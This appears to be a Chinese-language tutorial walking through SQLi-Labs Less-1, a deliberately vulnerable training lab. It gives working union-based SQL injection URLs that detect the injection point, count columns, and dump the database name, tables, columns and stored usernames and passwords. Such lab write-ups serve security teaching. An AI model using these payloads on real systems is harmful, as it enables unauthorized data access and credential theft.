已根据提示访问主页并且携带ID号信息进行提交,得出如上图所示界面。http://192.168.85.140/sqlilabs/Less-1/index.php?id=1
1、判断注入点
执行sql注入过程中,我们首先需要对URL进行观察,其中?起到的是传参的作用,用于将后面的参数提交到后台服务器数据库中进行查询,
- 执行中可以看出,是通过get方式提交的参数,可以选择在url栏目中添加注入判断语句进行探测,
输入"id=1 and 1=1",显示结果如下:
http://192.168.85.140/sqlilabs/Less-1/index.php?id=1 and 1=1
根据反馈结果我们没有看到任何报错信息显示。
2. 继续判断,输入“id=1 and 1=2”,显示结果如下:
http://192.168.85.140/sqlilabs/Less-1/index.php?id=1 and 1=2
根据反馈结果来看同样没有显示任何其他信息。
- 斜体样式执行sql注入过程中,我们首先需要对URL进行观察,其中?(问号)起到的是连接或者说是传参的作用,用于将后面的参数提交到后台服务器数据库中进行查询,这里在正常的情况下,采用的参数是1、2、等类型的参数,那么我们在构建注入语句过程中呢,因为首先是基于对当前位置是否存在注入点去做一个判断,判断的依据在于当前位置对于我们提交的构建的参数内容来说,是否会有反馈消息显示,构建提交参数过程中,后面接上:and 1=1,因为1=1确实是存在的,则判断为真,对这里的数据库查询结果不会有任何影响,但是对于构建的语句:and 1=2来说,结果为错,则判断为假,执行数据库查询时因为结果为假,则会出现报错信息,那么在这个过程中,则说明该位置对于我们传递进去的参数是经过了执行了,说明存在注入漏洞,正常情况下我们是根据这个流程来进行判断的,但是在当前位置,采用and 1=1、1=2都进行了判断,发现当前位置没有任何的报错信息出现,则说明当前位置对于我们提交至数据库中的数据并没有得到执行,这时,我们就需要考虑其他因素了
- SELECT * FROM users WHERE id=’$id’ LIMIT 0,1;在这一条数据库查询语句中可以发现,当id参数提交至后台数据库进行执行时,后台可能会通过了某些符号进行了标记,比如单引号、双引号、括号等,对于包含在符号内部的内容来说,都会将其作为字符串内容来进行执行,当“and 1=2”被作为字符串内容来执行时,则不存在判断其为真为假的判断过程了,并且因为后面的“and 1=2”并不能够作为参数去查询出具体的信息,mysql数据库将只执行前面的数字1,并得到返回的信息。
- 经过了判断我们发现了问题所在,这时候可以选择在输入参数时换个方式,变成“1’ and 1=2”,将前面的数字1采用单引号闭合进去作为一部分语句,后面的“and 1=2”作为另外一部分语句存在,在执行该语句单引号闭合过程中,还存在一个反单引号,需要进行闭合语句才会完整,不然无法执行语句。那么最终判断语句如下所示。
- 执行判断语句为,输入"1’ and 1=2%23"
http://192.168.85.140/sqlilabs/Less-1/index.php?id=1' and 1=2%23
可以显示如上信息,则说明执行正确,在将后面的反单引号进行闭合过程中,这里采用的是注释的方式,直接将后面的所有语句内容注释掉,注释方法有在mqsql数据库中有三种种,分别是“#”,“-- (双破折号的注释方法要求最后一个破折号后面必须要有一个空格才可以,)”、“/GGG/(前面两种为单行注释,此种为多行注释)”。
进行注释的过程中,由于在URL进行参数的提交,#(井号)在URL表示页面位置标记的作用,不会进行提交,可以选择通过URL编码的方式进行表示“%23”,包括 (空格)为%20。
- 注入判断如果不采用注释,还可以采用引号进行闭合,如:and ‘1’=‘2’’。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=1' and '1'='2''
2、判断列的长度
order by:用以给多个字段进行排序排序的一个DQL查询语句。
采用该语句进行排序过程中,可以基于自己去设定的值去进行排序,用法如下:
- select 字段列表/* from 表名 where 条件 order by 字段名1 asc/desc, 字段名2 asc/desc,…
- select 字段列表/* from 表名 where 条件 order by 字段序号 asc/desc, 字段序号 asc/desc,… (此时字段序号要从1开始)
- select 字段列表/* from 表名 where 条件 order by 字段别名1 asc/desc, 字段别名2 asc/desc,…(这里类似于第一种,无非就是把字段名加了个别名来代替而已。)
然后,order by的排序方式方式: - asc 升序,可以省略,是数据库默认的排序方式
- desc 降序,跟升序相反。
最后要注意order by的原则,写在最前面的字段,他的优先级最高,也就是写法中第一个的字段名1的优先级最高,优先执行他的内容。
执行“order by x”语句,采用二分法判断当前表中有多少列数。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=1' order by 3%23
经过判断,可以发现存在3列数据。
3、联合查询,找到页面的回显点。
union select 联合查询语句:
UNION用于将多个SELECT语句的结果合并到一个结果集中
SELECT …UNION [ALL | DISTINCT] SELECT …[UNION [ALL | DISTINCT] SELECT …]
将会使用第一个SELECT语句中的列名称作为返回结果的列名称。而且在每个SELECT语句的相应位置中列出的选定列应具有相同的数据类型。
- 执行“d=-1’ union select 1,2,3%23”,找到页面中的回显点。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=-1' union select 1,2,3%23
还应注意:
执行联合查询这里将数字1、2、3放到原本的查询结果进行显示,但是由于当前位置经过了页面的限制,默认只显示一个一行的数据,并且只会显示原本的数据,所以可以采取将首次执行查询的数据输入查询错误的参数,去执行报错行为,从而实现显示后面的数据行。
- 还可以执行“id=1’ union select 1,2,3 limit 1,2%23”,找到页面的回显点:
http://192.168.85.140/sqlilabs/Less-1/index.php?id=1' union select 1,2,3 limit 1,2%23
limit:用于限制查询结果返回的数量,常用于分页查询。
select * from tableName limit i,n
//tableName:表名
* i:为查询结果的索引值(默认从0开始),当i=0时可省略i
* n:为查询结果返回的数量
* i与n之间使用英文逗号","隔开
* limit n 等同于 limit 0,n
查询10条数据,索引从0到9,第1条记录到第10条记录
* select * from t_user limit 10;
* select * from t_user limit 0,10;
查询8条数据,索引从5到12,第6条记录到第13条记录
* select * from t_user limit 5,8;
经过判断,可以发现能够产生的数据回显点在数字2、3所在的位置上面。
4、爆库名
执行“-1’ union select 1,database(),version()%23”。
- database() mysql数据库函数,提取当前库名。
- version() mysql数据库函数,提取当前数据库版本号。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=-1' union select 1,database(),version()%23
5、爆表名
- 执行“-1’ union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,5%23”。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,5%23
- 可执行“-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23”。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
第一种方法与第二种方法的比较种,采用第二种方法可以快速的直接把大部分表名爆出来。
6、爆列明
执行“-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’%23”
http://192.168.85.140/sqlilabs/Less-1/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23
7、爆字段值
执行:“-1’ union select 1,group_concat(id,’’,username,’’,password),3 from users%23”。
http://192.168.85.140/sqlilabs/Less-1/index.php?id=-1' union select 1,group_concat(id,'^',username,'^',password),3 from users%23
--------------------------------------------------** 武汉艾迪时代IT教育**----------------------------------------------------